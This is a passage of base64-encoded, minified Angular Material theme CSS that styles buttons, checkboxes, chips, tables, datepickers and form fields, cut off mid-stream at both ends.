MTQpLDAgMCAwIDAgcmdiYSgwLDAsMCwuMTIpfS5tYXQtcmFpc2VkLWJ1dHRvbjpub3QoW2NsYXNzKj1tYXQtZWxldmF0aW9uLXpdKXtib3gtc2hhZG93OjAgM3B4IDFweCAtMnB4IHJnYmEoMCwwLDAsLjIpLDAgMnB4IDJweCAwIHJnYmEoMCwwLDAsLjE0KSwwIDFweCA1cHggMCByZ2JhKDAsMCwwLC4xMil9Lm1hdC1yYWlzZWQtYnV0dG9uOm5vdChbZGlzYWJsZWRdKTphY3RpdmU6bm90KFtjbGFzcyo9bWF0LWVsZXZhdGlvbi16XSl7Ym94LXNoYWRvdzowIDVweCA1cHggLTNweCByZ2JhKDAsMCwwLC4yKSwwIDhweCAxMHB4IDFweCByZ2JhKDAsMCwwLC4xNCksMCAzcHggMTRweCAycHggcmdiYSgwLDAsMCwuMTIpfS5tYXQtcmFpc2VkLWJ1dHRvbltkaXNhYmxlZF06bm90KFtjbGFzcyo9bWF0LWVsZXZhdGlvbi16XSl7Ym94LXNoYWRvdzowIDAgMCAwIHJnYmEoMCwwLDAsLjIpLDAgMCAwIDAgcmdiYSgwLDAsMCwuMTQpLDAgMCAwIDAgcmdiYSgwLDAsMCwuMTIpfS5tYXQtZmFiOm5vdChbY2xhc3MqPW1hdC1lbGV2YXRpb24tel0pLC5tYXQtbWluaS1mYWI6bm90KFtjbGFzcyo9bWF0LWVsZXZhdGlvbi16XSl7Ym94LXNoYWRvdzowIDNweCA1cHggLTFweCByZ2JhKDAsMCwwLC4yKSwwIDZweCAxMHB4IDAgcmdiYSgwLDAsMCwuMTQpLDAgMXB4IDE4cHggMCByZ2JhKDAsMCwwLC4xMil9Lm1hdC1mYWI6bm90KFtkaXNhYmxlZF0pOmFjdGl2ZTpub3QoW2NsYXNzKj1tYXQtZWxldmF0aW9uLXpdKSwubWF0LW1pbmktZmFiOm5vdChbZGlzYWJsZWRdKTphY3RpdmU6bm90KFtjbGFzcyo9bWF0LWVsZXZhdGlvbi16XSl7Ym94LXNoYWRvdzowIDdweCA4cHggLTRweCByZ2JhKDAsMCwwLC4yKSwwIDEycHggMTdweCAycHggcmdiYSgwLDAsMCwuMTQpLDAgNXB4IDIycHggNHB4IHJnYmEoMCwwLDAsLjEyKX0ubWF0LWZhYltkaXNhYmxlZF06bm90KFtjbGFzcyo9bWF0LWVsZXZhdGlvbi16XSksLm1hdC1taW5pLWZhYltkaXNhYmxlZF06bm90KFtjbGFzcyo9bWF0LWVsZXZhdGlvbi16XSl7Ym94LXNoYWRvdzowIDAgMCAwIHJnYmEoMCwwLDAsLjIpLDAgMCAwIDAgcmdiYSgwLDAsMCwuMTQpLDAgMCAwIDAgcmdiYSgwLDAsMCwuMTIpfS5tYXQtYnV0dG9uLXRvZ2dsZS1ncm91cCwubWF0LWJ1dHRvbi10b2dnbGUtc3RhbmRhbG9uZXtib3gtc2hhZG93OjAgM3B4IDFweCAtMnB4IHJnYmEoMCwwLDAsLjIpLDAgMnB4IDJweCAwIHJnYmEoMCwwLDAsLjE0KSwwIDFweCA1cHggMCByZ2JhKDAsMCwwLC4xMil9Lm1hdC1idXR0b24tdG9nZ2xlLWdyb3VwLWFwcGVhcmFuY2Utc3RhbmRhcmQsLm1hdC1idXR0b24tdG9nZ2xlLXN0YW5kYWxvbmUubWF0LWJ1dHRvbi10b2dnbGUtYXBwZWFyYW5jZS1zdGFuZGFyZHtib3gtc2hhZG93Om5vbmV9Lm1hdC1idXR0b24tdG9nZ2xle2NvbG9yOnJnYmEoMCwwLDAsLjM4KX0ubWF0LWJ1dHRvbi10b2dnbGUgLm1hdC1idXR0b24tdG9nZ2xlLWZvY3VzLW92ZXJsYXl7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMCwwLC4xMil9Lm1hdC1idXR0b24tdG9nZ2xlLWFwcGVhcmFuY2Utc3RhbmRhcmR7Y29sb3I6cmdiYSgwLDAsMCwuODcpO2JhY2tncm91bmQ6I2ZmZn0ubWF0LWJ1dHRvbi10b2dnbGUtYXBwZWFyYW5jZS1zdGFuZGFyZCAubWF0LWJ1dHRvbi10b2dnbGUtZm9jdXMtb3ZlcmxheXtiYWNrZ3JvdW5kLWNvbG9yOiMwMDB9Lm1hdC1idXR0b24tdG9nZ2xlLWdyb3VwLWFwcGVhcmFuY2Utc3RhbmRhcmQgLm1hdC1idXR0b24tdG9nZ2xlKy5tYXQtYnV0dG9uLXRvZ2dsZXtib3JkZXItbGVmdDpzb2xpZCAxcHggcmdiYSgwLDAsMCwuMTIpfVtkaXI9cnRsXSAubWF0LWJ1dHRvbi10b2dnbGUtZ3JvdXAtYXBwZWFyYW5jZS1zdGFuZGFyZCAubWF0LWJ1dHRvbi10b2dnbGUrLm1hdC1idXR0b24tdG9nZ2xle2JvcmRlci1sZWZ0Om5vbmU7Ym9yZGVyLXJpZ2h0OnNvbGlkIDFweCByZ2JhKDAsMCwwLC4xMil9Lm1hdC1idXR0b24tdG9nZ2xlLWdyb3VwLWFwcGVhcmFuY2Utc3RhbmRhcmQubWF0LWJ1dHRvbi10b2dnbGUtdmVydGljYWwgLm1hdC1idXR0b24tdG9nZ2xlKy5tYXQtYnV0dG9uLXRvZ2dsZXtib3JkZXItbGVmdDpub25lO2JvcmRlci1yaWdodDpub25lO2JvcmRlci10b3A6c29saWQgMXB4IHJnYmEoMCwwLDAsLjEyKX0ubWF0LWJ1dHRvbi10b2dnbGUtY2hlY2tlZHtiYWNrZ3JvdW5kLWNvbG9yOiNlMGUwZTA7Y29sb3I6cmdiYSgwLDAsMCwuNTQpfS5tYXQtYnV0dG9uLXRvZ2dsZS1jaGVja2VkLm1hdC1idXR0b24tdG9nZ2xlLWFwcGVhcmFuY2Utc3RhbmRhcmR7Y29sb3I6cmdiYSgwLDAsMCwuODcpfS5tYXQtYnV0dG9uLXRvZ2dsZS1kaXNhYmxlZHtjb2xvcjpyZ2JhKDAsMCwwLC4yNik7YmFja2dyb3VuZC1jb2xvcjojZWVlfS5tYXQtYnV0dG9uLXRvZ2dsZS1kaXNhYmxlZC5tYXQtYnV0dG9uLXRvZ2dsZS1hcHBlYXJhbmNlLXN0YW5kYXJke2JhY2tncm91bmQ6I2ZmZn0ubWF0LWJ1dHRvbi10b2dnbGUtZGlzYWJsZWQubWF0LWJ1dHRvbi10b2dnbGUtY2hlY2tlZHtiYWNrZ3JvdW5kLWNvbG9yOiNiZGJkYmR9Lm1hdC1idXR0b24tdG9nZ2xlLWdyb3VwLWFwcGVhcmFuY2Utc3RhbmRhcmQsLm1hdC1idXR0b24tdG9nZ2xlLXN0YW5kYWxvbmUubWF0LWJ1dHRvbi10b2dnbGUtYXBwZWFyYW5jZS1zdGFuZGFyZHtib3JkZXI6c29saWQgMXB4IHJnYmEoMCwwLDAsLjEyKX0ubWF0LWNhcmR7YmFja2dyb3VuZDojZmZmO2NvbG9yOnJnYmEoMCwwLDAsLjg3KX0ubWF0LWNhcmQ6bm90KFtjbGFzcyo9bWF0LWVsZXZhdGlvbi16XSl7Ym94LXNoYWRvdzowIDJweCAxcHggLTFweCByZ2JhKDAsMCwwLC4yKSwwIDFweCAxcHggMCByZ2JhKDAsMCwwLC4xNCksMCAxcHggM3B4IDAgcmdiYSgwLDAsMCwuMTIpfS5tYXQtY2FyZC5tYXQtY2FyZC1mbGF0Om5vdChbY2xhc3MqPW1hdC1lbGV2YXRpb24tel0pe2JveC1zaGFkb3c6MCAwIDAgMCByZ2JhKDAsMCwwLC4yKSwwIDAgMCAwIHJnYmEoMCwwLDAsLjE0KSwwIDAgMCAwIHJnYmEoMCwwLDAsLjEyKX0ubWF0LWNhcmQtc3VidGl0bGV7Y29sb3I6cmdiYSgwLDAsMCwuNTQpfS5tYXQtY2hlY2tib3gtZnJhbWV7Ym9yZGVyLWNvbG9yOnJnYmEoMCwwLDAsLjU0KX0ubWF0LWNoZWNrYm94LWNoZWNrbWFya3tmaWxsOiNmYWZhZmF9Lm1hdC1jaGVja2JveC1jaGVja21hcmstcGF0aHtzdHJva2U6I2ZhZmFmYSFpbXBvcnRhbnR9QG1lZGlhICgtbXMtaGlnaC1jb250cmFzdDpibGFjay1vbi13aGl0ZSl7Lm1hdC1jaGVja2JveC1jaGVja21hcmstcGF0aHtzdHJva2U6IzAwMCFpbXBvcnRhbnR9fS5tYXQtY2hlY2tib3gtbWl4ZWRtYXJre2JhY2tncm91bmQtY29sb3I6I2ZhZmFmYX0ubWF0LWNoZWNrYm94LWNoZWNrZWQubWF0LXByaW1hcnkgLm1hdC1jaGVja2JveC1iYWNrZ3JvdW5kLC5tYXQtY2hlY2tib3gtaW5kZXRlcm1pbmF0ZS5tYXQtcHJpbWFyeSAubWF0LWNoZWNrYm94LWJhY2tncm91bmR7YmFja2dyb3VuZC1jb2xvcjojM2Y1MWI1fS5tYXQtY2hlY2tib3gtY2hlY2tlZC5tYXQtYWNjZW50IC5tYXQtY2hlY2tib3gtYmFja2dyb3VuZCwubWF0LWNoZWNrYm94LWluZGV0ZXJtaW5hdGUubWF0LWFjY2VudCAubWF0LWNoZWNrYm94LWJhY2tncm91bmR7YmFja2dyb3VuZC1jb2xvcjojZmY0MDgxfS5tYXQtY2hlY2tib3gtY2hlY2tlZC5tYXQtd2FybiAubWF0LWNoZWNrYm94LWJhY2tncm91bmQsLm1hdC1jaGVja2JveC1pbmRldGVybWluYXRlLm1hdC13YXJuIC5tYXQtY2hlY2tib3gtYmFja2dyb3VuZHtiYWNrZ3JvdW5kLWNvbG9yOiNmNDQzMzZ9Lm1hdC1jaGVja2JveC1kaXNhYmxlZC5tYXQtY2hlY2tib3gtY2hlY2tlZCAubWF0LWNoZWNrYm94LWJhY2tncm91bmQsLm1hdC1jaGVja2JveC1kaXNhYmxlZC5tYXQtY2hlY2tib3gtaW5kZXRlcm1pbmF0ZSAubWF0LWNoZWNrYm94LWJhY2tncm91bmR7YmFja2dyb3VuZC1jb2xvcjojYjBiMGIwfS5tYXQtY2hlY2tib3gtZGlzYWJsZWQ6bm90KC5tYXQtY2hlY2tib3gtY2hlY2tlZCkgLm1hdC1jaGVja2JveC1mcmFtZXtib3JkZXItY29sb3I6I2IwYjBiMH0ubWF0LWNoZWNrYm94LWRpc2FibGVkIC5tYXQtY2hlY2tib3gtbGFiZWx7Y29sb3I6cmdiYSgwLDAsMCwuNTQpfUBtZWRpYSAoLW1zLWhpZ2gtY29udHJhc3Q6YWN0aXZlKXsubWF0LWNoZWNrYm94LWRpc2FibGVke29wYWNpdHk6LjV9fUBtZWRpYSAoLW1zLWhpZ2gtY29udHJhc3Q6YWN0aXZlKXsubWF0LWNoZWNrYm94LWJhY2tncm91bmR7YmFja2dyb3VuZDowIDB9fS5tYXQtY2hlY2tib3ggLm1hdC1yaXBwbGUtZWxlbWVudHtiYWNrZ3JvdW5kLWNvbG9yOiMwMDB9Lm1hdC1jaGVja2JveC1jaGVja2VkOm5vdCgubWF0LWNoZWNrYm94LWRpc2FibGVkKS5tYXQtcHJpbWFyeSAubWF0LXJpcHBsZS1lbGVtZW50LC5tYXQtY2hlY2tib3g6YWN0aXZlOm5vdCgubWF0LWNoZWNrYm94LWRpc2FibGVkKS5tYXQtcHJpbWFyeSAubWF0LXJpcHBsZS1lbGVtZW50e2JhY2tncm91bmQ6IzNmNTFiNX0ubWF0LWNoZWNrYm94LWNoZWNrZWQ6bm90KC5tYXQtY2hlY2tib3gtZGlzYWJsZWQpLm1hdC1hY2NlbnQgLm1hdC1yaXBwbGUtZWxlbWVudCwubWF0LWNoZWNrYm94OmFjdGl2ZTpub3QoLm1hdC1jaGVja2JveC1kaXNhYmxlZCkubWF0LWFjY2VudCAubWF0LXJpcHBsZS1lbGVtZW50e2JhY2tncm91bmQ6I2ZmNDA4MX0ubWF0LWNoZWNrYm94LWNoZWNrZWQ6bm90KC5tYXQtY2hlY2tib3gtZGlzYWJsZWQpLm1hdC13YXJuIC5tYXQtcmlwcGxlLWVsZW1lbnQsLm1hdC1jaGVja2JveDphY3RpdmU6bm90KC5tYXQtY2hlY2tib3gtZGlzYWJsZWQpLm1hdC13YXJuIC5tYXQtcmlwcGxlLWVsZW1lbnR7YmFja2dyb3VuZDojZjQ0MzM2fS5tYXQtY2hpcC5tYXQtc3RhbmRhcmQtY2hpcHtiYWNrZ3JvdW5kLWNvbG9yOiNlMGUwZTA7Y29sb3I6cmdiYSgwLDAsMCwuODcpfS5tYXQtY2hpcC5tYXQtc3RhbmRhcmQtY2hpcCAubWF0LWNoaXAtcmVtb3Zle2NvbG9yOnJnYmEoMCwwLDAsLjg3KTtvcGFjaXR5Oi40fS5tYXQtY2hpcC5tYXQtc3RhbmRhcmQtY2hpcDpub3QoLm1hdC1jaGlwLWRpc2FibGVkKTphY3RpdmV7Ym94LXNoYWRvdzowIDNweCAzcHggLTJweCByZ2JhKDAsMCwwLC4yKSwwIDNweCA0cHggMCByZ2JhKDAsMCwwLC4xNCksMCAxcHggOHB4IDAgcmdiYSgwLDAsMCwuMTIpfS5tYXQtY2hpcC5tYXQtc3RhbmRhcmQtY2hpcDpub3QoLm1hdC1jaGlwLWRpc2FibGVkKSAubWF0LWNoaXAtcmVtb3ZlOmhvdmVye29wYWNpdHk6LjU0fS5tYXQtY2hpcC5tYXQtc3RhbmRhcmQtY2hpcC5tYXQtY2hpcC1kaXNhYmxlZHtvcGFjaXR5Oi40fS5tYXQtY2hpcC5tYXQtc3RhbmRhcmQtY2hpcDo6YWZ0ZXJ7YmFja2dyb3VuZDojMDAwfS5tYXQtY2hpcC5tYXQtc3RhbmRhcmQtY2hpcC5tYXQtY2hpcC1zZWxlY3RlZC5tYXQtcHJpbWFyeXtiYWNrZ3JvdW5kLWNvbG9yOiMzZjUxYjU7Y29sb3I6I2ZmZn0ubWF0LWNoaXAubWF0LXN0YW5kYXJkLWNoaXAubWF0LWNoaXAtc2VsZWN0ZWQubWF0LXByaW1hcnkgLm1hdC1jaGlwLXJlbW92ZXtjb2xvcjojZmZmO29wYWNpdHk6LjR9Lm1hdC1jaGlwLm1hdC1zdGFuZGFyZC1jaGlwLm1hdC1jaGlwLXNlbGVjdGVkLm1hdC1wcmltYXJ5IC5tYXQtcmlwcGxlLWVsZW1lbnR7YmFja2dyb3VuZDpyZ2JhKDI1NSwyNTUsMjU1LC4xKX0ubWF0LWNoaXAubWF0LXN0YW5kYXJkLWNoaXAubWF0LWNoaXAtc2VsZWN0ZWQubWF0LXdhcm57YmFja2dyb3VuZC1jb2xvcjojZjQ0MzM2O2NvbG9yOiNmZmZ9Lm1hdC1jaGlwLm1hdC1zdGFuZGFyZC1jaGlwLm1hdC1jaGlwLXNlbGVjdGVkLm1hdC13YXJuIC5tYXQtY2hpcC1yZW1vdmV7Y29sb3I6I2ZmZjtvcGFjaXR5Oi40fS5tYXQtY2hpcC5tYXQtc3RhbmRhcmQtY2hpcC5tYXQtY2hpcC1zZWxlY3RlZC5tYXQtd2FybiAubWF0LXJpcHBsZS1lbGVtZW50e2JhY2tncm91bmQ6cmdiYSgyNTUsMjU1LDI1NSwuMSl9Lm1hdC1jaGlwLm1hdC1zdGFuZGFyZC1jaGlwLm1hdC1jaGlwLXNlbGVjdGVkLm1hdC1hY2NlbnR7YmFja2dyb3VuZC1jb2xvcjojZmY0MDgxO2NvbG9yOiNmZmZ9Lm1hdC1jaGlwLm1hdC1zdGFuZGFyZC1jaGlwLm1hdC1jaGlwLXNlbGVjdGVkLm1hdC1hY2NlbnQgLm1hdC1jaGlwLXJlbW92ZXtjb2xvcjojZmZmO29wYWNpdHk6LjR9Lm1hdC1jaGlwLm1hdC1zdGFuZGFyZC1jaGlwLm1hdC1jaGlwLXNlbGVjdGVkLm1hdC1hY2NlbnQgLm1hdC1yaXBwbGUtZWxlbWVudHtiYWNrZ3JvdW5kOnJnYmEoMjU1LDI1NSwyNTUsLjEpfS5tYXQtdGFibGV7YmFja2dyb3VuZDojZmZmfS5tYXQtdGFibGUgdGJvZHksLm1hdC10YWJsZSB0Zm9vdCwubWF0LXRhYmxlIHRoZWFkLC5tYXQtdGFibGUtc3RpY2t5LFttYXQtZm9vdGVyLXJvd10sW21hdC1oZWFkZXItcm93XSxbbWF0LXJvd10sbWF0LWZvb3Rlci1yb3csbWF0LWhlYWRlci1yb3csbWF0LXJvd3tiYWNrZ3JvdW5kOmluaGVyaXR9bWF0LWZvb3Rlci1yb3csbWF0LWhlYWRlci1yb3csbWF0LXJvdyx0ZC5tYXQtY2VsbCx0ZC5tYXQtZm9vdGVyLWNlbGwsdGgubWF0LWhlYWRlci1jZWxse2JvcmRlci1ib3R0b20tY29sb3I6cmdiYSgwLDAsMCwuMTIpfS5tYXQtaGVhZGVyLWNlbGx7Y29sb3I6cmdiYSgwLDAsMCwuNTQpfS5tYXQtY2VsbCwubWF0LWZvb3Rlci1jZWxse2NvbG9yOnJnYmEoMCwwLDAsLjg3KX0ubWF0LWNhbGVuZGFyLWFycm93e2JvcmRlci10b3AtY29sb3I6cmdiYSgwLDAsMCwuNTQpfS5tYXQtZGF0ZXBpY2tlci1jb250ZW50IC5tYXQtY2FsZW5kYXItbmV4dC1idXR0b24sLm1hdC1kYXRlcGlja2VyLWNvbnRlbnQgLm1hdC1jYWxlbmRhci1wcmV2aW91cy1idXR0b24sLm1hdC1kYXRlcGlja2VyLXRvZ2dsZXtjb2xvcjpyZ2JhKDAsMCwwLC41NCl9Lm1hdC1jYWxlbmRhci10YWJsZS1oZWFkZXJ7Y29sb3I6cmdiYSgwLDAsMCwuMzgpfS5tYXQtY2FsZW5kYXItdGFibGUtaGVhZGVyLWRpdmlkZXI6OmFmdGVye2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuMTIpfS5tYXQtY2FsZW5kYXItYm9keS1sYWJlbHtjb2xvcjpyZ2JhKDAsMCwwLC41NCl9Lm1hdC1jYWxlbmRhci1ib2R5LWNlbGwtY29udGVudHtjb2xvcjpyZ2JhKDAsMCwwLC44Nyk7Ym9yZGVyLWNvbG9yOnRyYW5zcGFyZW50fS5tYXQtY2FsZW5kYXItYm9keS1kaXNhYmxlZD4ubWF0LWNhbGVuZGFyLWJvZHktY2VsbC1jb250ZW50Om5vdCgubWF0LWNhbGVuZGFyLWJvZHktc2VsZWN0ZWQpe2NvbG9yOnJnYmEoMCwwLDAsLjM4KX0uY2RrLWtleWJvYXJkLWZvY3VzZWQgLm1hdC1jYWxlbmRhci1ib2R5LWFjdGl2ZT4ubWF0LWNhbGVuZGFyLWJvZHktY2VsbC1jb250ZW50Om5vdCgubWF0LWNhbGVuZGFyLWJvZHktc2VsZWN0ZWQpLC5jZGstcHJvZ3JhbS1mb2N1c2VkIC5tYXQtY2FsZW5kYXItYm9keS1hY3RpdmU+Lm1hdC1jYWxlbmRhci1ib2R5LWNlbGwtY29udGVudDpub3QoLm1hdC1jYWxlbmRhci1ib2R5LXNlbGVjdGVkKSwubWF0LWNhbGVuZGFyLWJvZHktY2VsbDpub3QoLm1hdC1jYWxlbmRhci1ib2R5LWRpc2FibGVkKTpob3Zlcj4ubWF0LWNhbGVuZGFyLWJvZHktY2VsbC1jb250ZW50Om5vdCgubWF0LWNhbGVuZGFyLWJvZHktc2VsZWN0ZWQpe2JhY2tncm91bmQtY29sb3I6cmdiYSgwLDAsMCwuMDQpfS5tYXQtY2FsZW5kYXItYm9keS10b2RheTpub3QoLm1hdC1jYWxlbmRhci1ib2R5LXNlbGVjdGVkKXtib3JkZXItY29sb3I6cmdiYSgwLDAsMCwuMzgpfS5tYXQtY2FsZW5kYXItYm9keS1kaXNhYmxlZD4ubWF0LWNhbGVuZGFyLWJvZHktdG9kYXk6bm90KC5tYXQtY2FsZW5kYXItYm9keS1zZWxlY3RlZCl7Ym9yZGVyLWNvbG9yOnJnYmEoMCwwLDAsLjE4KX0ubWF0LWNhbGVuZGFyLWJvZHktc2VsZWN0ZWR7YmFja2dyb3VuZC1jb2xvcjojM2Y1MWI1O2NvbG9yOiNmZmZ9Lm1hdC1jYWxlbmRhci1ib2R5LWRpc2FibGVkPi5tYXQtY2FsZW5kYXItYm9keS1zZWxlY3RlZHtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoNjMsODEsMTgxLC40KX0ubWF0LWNhbGVuZGFyLWJvZHktdG9kYXkubWF0LWNhbGVuZGFyLWJvZHktc2VsZWN0ZWR7Ym94LXNoYWRvdzppbnNldCAwIDAgMCAxcHggI2ZmZn0ubWF0LWRhdGVwaWNrZXItY29udGVudHtib3gtc2hhZG93OjAgMnB4IDRweCAtMXB4IHJnYmEoMCwwLDAsLjIpLDAgNHB4IDVweCAwIHJnYmEoMCwwLDAsLjE0KSwwIDFweCAxMHB4IDAgcmdiYSgwLDAsMCwuMTIpO2JhY2tncm91bmQtY29sb3I6I2ZmZjtjb2xvcjpyZ2JhKDAsMCwwLC44Nyl9Lm1hdC1kYXRlcGlja2VyLWNvbnRlbnQubWF0LWFjY2VudCAubWF0LWNhbGVuZGFyLWJvZHktc2VsZWN0ZWR7YmFja2dyb3VuZC1jb2xvcjojZmY0MDgxO2NvbG9yOiNmZmZ9Lm1hdC1kYXRlcGlja2VyLWNvbnRlbnQubWF0LWFjY2VudCAubWF0LWNhbGVuZGFyLWJvZHktZGlzYWJsZWQ+Lm1hdC1jYWxlbmRhci1ib2R5LXNlbGVjdGVke2JhY2tncm91bmQtY29sb3I6cmdiYSgyNTUsNjQsMTI5LC40KX0ubWF0LWRhdGVwaWNrZXItY29udGVudC5tYXQtYWNjZW50IC5tYXQtY2FsZW5kYXItYm9keS10b2RheS5tYXQtY2FsZW5kYXItYm9keS1zZWxlY3RlZHtib3gtc2hhZG93Omluc2V0IDAgMCAwIDFweCAjZmZmfS5tYXQtZGF0ZXBpY2tlci1jb250ZW50Lm1hdC13YXJuIC5tYXQtY2FsZW5kYXItYm9keS1zZWxlY3RlZHtiYWNrZ3JvdW5kLWNvbG9yOiNmNDQzMzY7Y29sb3I6I2ZmZn0ubWF0LWRhdGVwaWNrZXItY29udGVudC5tYXQtd2FybiAubWF0LWNhbGVuZGFyLWJvZHktZGlzYWJsZWQ+Lm1hdC1jYWxlbmRhci1ib2R5LXNlbGVjdGVke2JhY2tncm91bmQtY29sb3I6cmdiYSgyNDQsNjcsNTQsLjQpfS5tYXQtZGF0ZXBpY2tlci1jb250ZW50Lm1hdC13YXJuIC5tYXQtY2FsZW5kYXItYm9keS10b2RheS5tYXQtY2FsZW5kYXItYm9keS1zZWxlY3RlZHtib3gtc2hhZG93Omluc2V0IDAgMCAwIDFweCAjZmZmfS5tYXQtZGF0ZXBpY2tlci1jb250ZW50LXRvdWNoe2JveC1zaGFkb3c6MCAwIDAgMCByZ2JhKDAsMCwwLC4yKSwwIDAgMCAwIHJnYmEoMCwwLDAsLjE0KSwwIDAgMCAwIHJnYmEoMCwwLDAsLjEyKX0ubWF0LWRhdGVwaWNrZXItdG9nZ2xlLWFjdGl2ZXtjb2xvcjojM2Y1MWI1fS5tYXQtZGF0ZXBpY2tlci10b2dnbGUtYWN0aXZlLm1hdC1hY2NlbnR7Y29sb3I6I2ZmNDA4MX0ubWF0LWRhdGVwaWNrZXItdG9nZ2xlLWFjdGl2ZS5tYXQtd2Fybntjb2xvcjojZjQ0MzM2fS5tYXQtZGlhbG9nLWNvbnRhaW5lcntib3gtc2hhZG93OjAgMTFweCAxNXB4IC03cHggcmdiYSgwLDAsMCwuMiksMCAyNHB4IDM4cHggM3B4IHJnYmEoMCwwLDAsLjE0KSwwIDlweCA0NnB4IDhweCByZ2JhKDAsMCwwLC4xMik7YmFja2dyb3VuZDojZmZmO2NvbG9yOnJnYmEoMCwwLDAsLjg3KX0ubWF0LWRpdmlkZXJ7Ym9yZGVyLXRvcC1jb2xvcjpyZ2JhKDAsMCwwLC4xMil9Lm1hdC1kaXZpZGVyLXZlcnRpY2Fse2JvcmRlci1yaWdodC1jb2xvcjpyZ2JhKDAsMCwwLC4xMil9Lm1hdC1leHBhbnNpb24tcGFuZWx7YmFja2dyb3VuZDojZmZmO2NvbG9yOnJnYmEoMCwwLDAsLjg3KX0ubWF0LWV4cGFuc2lvbi1wYW5lbDpub3QoW2NsYXNzKj1tYXQtZWxldmF0aW9uLXpdKXtib3gtc2hhZG93OjAgM3B4IDFweCAtMnB4IHJnYmEoMCwwLDAsLjIpLDAgMnB4IDJweCAwIHJnYmEoMCwwLDAsLjE0KSwwIDFweCA1cHggMCByZ2JhKDAsMCwwLC4xMil9Lm1hdC1hY3Rpb24tcm93e2JvcmRlci10b3AtY29sb3I6cmdiYSgwLDAsMCwuMTIpfS5tYXQtZXhwYW5zaW9uLXBhbmVsIC5tYXQtZXhwYW5zaW9uLXBhbmVsLWhlYWRlci5jZGsta2V5Ym9hcmQtZm9jdXNlZDpub3QoW2FyaWEtZGlzYWJsZWQ9dHJ1ZV0pLC5tYXQtZXhwYW5zaW9uLXBhbmVsIC5tYXQtZXhwYW5zaW9uLXBhbmVsLWhlYWRlci5jZGstcHJvZ3JhbS1mb2N1c2VkOm5vdChbYXJpYS1kaXNhYmxlZD10cnVlXSksLm1hdC1leHBhbnNpb24tcGFuZWw6bm90KC5tYXQtZXhwYW5kZWQpIC5tYXQtZXhwYW5zaW9uLXBhbmVsLWhlYWRlcjpob3Zlcjpub3QoW2FyaWEtZGlzYWJsZWQ9dHJ1ZV0pe2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuMDQpfUBtZWRpYSAoaG92ZXI6bm9uZSl7Lm1hdC1leHBhbnNpb24tcGFuZWw6bm90KC5tYXQtZXhwYW5kZWQpOm5vdChbYXJpYS1kaXNhYmxlZD10cnVlXSkgLm1hdC1leHBhbnNpb24tcGFuZWwtaGVhZGVyOmhvdmVye2JhY2tncm91bmQ6I2ZmZn19Lm1hdC1leHBhbnNpb24tcGFuZWwtaGVhZGVyLXRpdGxle2NvbG9yOnJnYmEoMCwwLDAsLjg3KX0ubWF0LWV4cGFuc2lvbi1pbmRpY2F0b3I6OmFmdGVyLC5tYXQtZXhwYW5zaW9uLXBhbmVsLWhlYWRlci1kZXNjcmlwdGlvbntjb2xvcjpyZ2JhKDAsMCwwLC41NCl9Lm1hdC1leHBhbnNpb24tcGFuZWwtaGVhZGVyW2FyaWEtZGlzYWJsZWQ9dHJ1ZV17Y29sb3I6cmdiYSgwLDAsMCwuMjYpfS5tYXQtZXhwYW5zaW9uLXBhbmVsLWhlYWRlclthcmlhLWRpc2FibGVkPXRydWVdIC5tYXQtZXhwYW5zaW9uLXBhbmVsLWhlYWRlci1kZXNjcmlwdGlvbiwubWF0LWV4cGFuc2lvbi1wYW5lbC1oZWFkZXJbYXJpYS1kaXNhYmxlZD10cnVlXSAubWF0LWV4cGFuc2lvbi1wYW5lbC1oZWFkZXItdGl0bGV7Y29sb3I6aW5oZXJpdH0ubWF0LWZvcm0tZmllbGQtbGFiZWx7Y29sb3I6cmdiYSgwLDAsMCwuNil9Lm1hdC1oaW50e2NvbG9yOnJnYmEoMCwwLDAsLjYpfS5tYXQtZm9ybS1maWVsZC5tYXQtZm9jdXNlZCAubWF0LWZvcm0tZmllbGQtbGFiZWx7Y29sb3I6IzNmNTFiNX0ubWF0LWZvcm0tZmllbGQubWF0LWZvY3VzZWQgLm1hdC1mb3JtLWZpZWxkLWxhYmVsLm1hdC1hY2NlbnR7Y29sb3I6I2ZmNDA4MX0ubWF0LWZvcm0tZmllbGQubWF0LWZvY3VzZWQgLm1hdC1mb3JtLWZpZWxkLWxhYmVsLm1hdC13YXJue2NvbG9yOiNmNDQzMzZ9Lm1hdC1mb2N1c2VkIC5tYXQtZm9ybS1maWVsZC1yZXF1aXJlZC1tYXJrZXJ7Y29sb3I6I2ZmNDA4MX0ubWF0LWZvcm0tZmllbGQtcmlwcGxle2JhY2tncm91bmQtY29sb3I6cmdiYSgwLDAsMCwuODcpfS5tYXQtZm9ybS1maWVsZC5tYXQtZm9jdXNlZCAubWF0LWZvcm0tZmllbGQtcmlwcGxle2JhY2tncm91bmQtY29sb3I6IzNmNTFiNX0ubWF0LWZvcm0tZmllbGQubWF0LWZvY3VzZWQgLm1hdC1mb3JtLWZpZWxkLXJpcHBsZS5tYXQtYWNjZW50e2JhY2tncm91bmQtY29sb3I6I2ZmNDA4MX0ubWF0LWZvcm0tZmllbGQubWF0LWZvY3VzZWQgLm1hdC1mb3JtLWZpZWxkLXJpcHBsZS5tYXQtd2FybntiYWNrZ3JvdW5kLWNvbG9yOiNmNDQzMzZ9Lm1hdC1mb3JtLWZpZWxkLXR5cGUtbWF0LW5hdGl2ZS1zZWxlY3QubWF0LWZvY3VzZWQ6bm90KC5tYXQtZm9ybS1maWVsZC1pbnZhbGlkKSAubWF0LWZvcm0tZmllbGQtaW5maXg6OmFmdGVye2NvbG9yOiMzZjUxYjV9Lm1hdC1mb3JtLWZpZWxkLXR5cGUtbWF0LW5hdGl2ZS1zZWxlY3QubWF0LWZvY3VzZWQ6bm90KC5tYXQtZm9ybS1maWVsZC1pbnZhbGlkKS5tYXQtYWNjZW50IC5tYXQtZm9ybS1maWVsZC1pbmZpeDo6YWZ0ZXJ7Y29sb3I6I2ZmNDA4MX0ubWF0LWZvcm0tZmllbGQtdHlwZS1tYXQtbmF0aXZlLXNlbGVjdC5tYXQtZm9jdXNlZDpub3QoLm1hdC1mb3JtLWZpZWxkLWludmFsaWQpLm1hdC13YXJuIC5tYXQtZm9ybS1maWVsZC1pbmZpeDo6YWZ0ZXJ7Y29sb3I6I2Y0NDMzNn0ubWF0LWZvcm0tZmllbGQubWF0LWZvcm0tZmllbGQtaW52YWxpZCAubWF0LWZvcm0tZmllbGQtbGFiZWx7Y29sb3I6I2Y0NDMzNn0ubWF0LWZvcm0tZmllbGQubWF0LWZvcm0tZmllbGQtaW52YW